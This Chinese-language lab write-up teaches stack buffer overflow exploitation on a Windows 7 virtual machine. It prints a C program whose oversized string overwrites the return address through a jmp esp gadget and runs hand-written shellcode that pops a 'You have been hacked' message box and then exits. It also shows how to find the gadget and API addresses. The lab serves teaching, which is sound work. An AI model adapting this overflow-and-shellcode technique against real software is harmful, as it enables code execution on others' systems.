一、实验目的

  1. 熟悉编写shellCode的流程
  2. 掌握缓冲区溢出的利用

二、实验环境

  1. 系统环境:Windows环境
  2. 软件环境:C++ ,缓冲区溢出文件链接

三、实验原理

  1. 要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:

    (1)在程序的地址空间里植入适当的代码(称为shellcode)用于完成获取系统控制权等非法任务。

    (2)通过修改寄存器或内存,让程序执行流跳转到攻击者植入的shellcode地址空间执行。
  2. 在具体实现时,我们通过三个步骤完成缓冲区溢出:

    (1).精确查找返回地址的位置

    (2).查找一个适合的地址用于覆盖原始地址

    (3).编写shellcode到对应的缓冲区

    (4).编写shellcode弹出攻击对话框

四、实验步骤

  • 利用缓冲区溢出漏洞首先需要精确查找到返回地址的位置

    打开Windows7虚拟机,编写一个overrun.dsw工程文件,代码如下所示:
#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\x00\x00\x00"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x00\x00\x00\x00"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x00\x00\x00\x00" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax; int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
  • 获取jmp esp 指令地址:

    打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SearhjmpEsp.dsw文件。运行程序,程序列出jmp esp指令的地址。我们随机选取一个jmp esp的地址,例如:0x75a0a0b3如下图所示:获取jmp esp指令地址

  • 获取对话框函数(注入函数)地址:

    通过漏洞调用MessageBoxA对话框首先要获取相关函数的地址,双击打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SerchFunctionAddr.dsw文件,运行程序。获取对应函数的地址。函数MessageBoxA的地址为0x759aea11,函数ExitProcess的地址为0x76e0214f。如图2-2-3所示。(修改代码可以获取其他API函数的地址)为了让溢出程序正常关闭,这里我们还获取了ExitProcess函数的地址

  • 将获取jmp esp 指令地址和获取对话框函数(注入函数)地址,替换overrun.cpp文件内的jmp esp指令地址和MessageBoxA和ExitProcess地址

#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\xa0\xa0\x75"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x11\xea\x9a\x75"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x4F\x21\xe0\x76" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax; int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
  • 运行overrun.cpp程序,按下空格,弹出对话框成功。如下图所示:

缓冲区溢出利用与ShellCode编写的更多相关文章

  1. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  2. 缓冲区溢出利用——捕获eip的傻瓜式指南

    [译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...

  3. 缓冲区溢出分析第04课:ShellCode的编写

    前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...

  4. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  5. 缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)

    0x01 介绍 Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞.编写缓冲区溢出的Exploit分为3个方面:漏洞溢出 ...

  6. 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞

    这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...

  7. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  8. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  9. 软件安全攻防--缓冲区溢出和shellcode

    缓冲区溢出漏洞实验报告 实验楼中有seed缓冲区溢出漏洞实验,实验内容与课本中要求的实验基本一致,便利用实验楼提供好的现成实验环境来完成这次的实践内容. 一.实验简介 缓冲区溢出是指程序试图向缓冲区写 ...

随机推荐

  1. myScript调研,电子手写板使用,纯干货

    第二天进公司,就叫我调研myScript作为手写板的可行性,又不能不做,哎~ myScript效果十分的奈斯,前端用canvas手写的文字.数学字符,都可以识别然后转换,不知道myScript是不是你 ...

  2. springboot @value无法赋值

    1解决方式在类上在加@Compent @Component@EnableBinding(Sink.class)public class ReceiveMessageListenerController ...

  3. Git最强总结!

    本文已经收录到Github仓库,欢迎大家围观.star.此仓库用于分享Java核心知识,包括Java基础.MySQL.SpringBoot.Mybatis.Redis.RabbitMQ等等,面试必备. ...

  4. openresty(nginx) 配置 http与https使用同一个端口,禁止 IP 直接访问

    准备好工作目录 mkdir work cd work mkdir conf logs 准备好 conf/nginx.conf 配置文件, 把 your.domain 换成你自己的域名 user abc ...

  5. 【CSS】按钮

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. NOIP模拟13「工业题·卡常题·玄学题」

    T1:工业题 基本思路   这题有一个重要的小转化: 我们将原来的函数看作一个矩阵,\(f(i,j-1)*a\)相当于从\(j-1\)向右走一步并贡献a,\(f(i-1,j)*b\)相当于从\(i-1 ...

  7. Linux 网卡驱动sk_buff内核源码随笔

    这几天在调试有关网卡驱动的东西,有很多地方不清楚.有关网卡驱动部分主要有两个很重要的结构体:struct net_device 和struct sk_buff. 驱动大部分都是围绕这两个东西进行操作的 ...

  8. (5)java Spring Cloud+Spring boot+mybatis企业快速开发架构之SpringCloud-Spring Boot简介

    ​Spring Boot 是由 Pivotal 团队提供的全新框架,其设计目的是简化新 Spring 应用的初始搭建以及开发过程.该框架使用了特定的方式进行配置,从而使开发人员不再需要定义样板化的配置 ...

  9. 谈谈raft fig8 —— 迷惑的提交条件和选举条件

    谈谈raft fig8 -- 迷惑的提交条件和选举条件 前言 这篇文章的思路其实在两个月前就已经成型了,但由于实习太累了,一直没来得及写出来.大概一个月前在群里和群友争论fig8的一些问题时,发现很多 ...

  10. 机器学习——正则化方法Dropout

    1 前言 2012年,Dropout的想法被首次提出,受人类繁衍后代时男女各一半基因进行组合产生下一代的启发,论文<Dropout: A Simple Way to Prevent Neural ...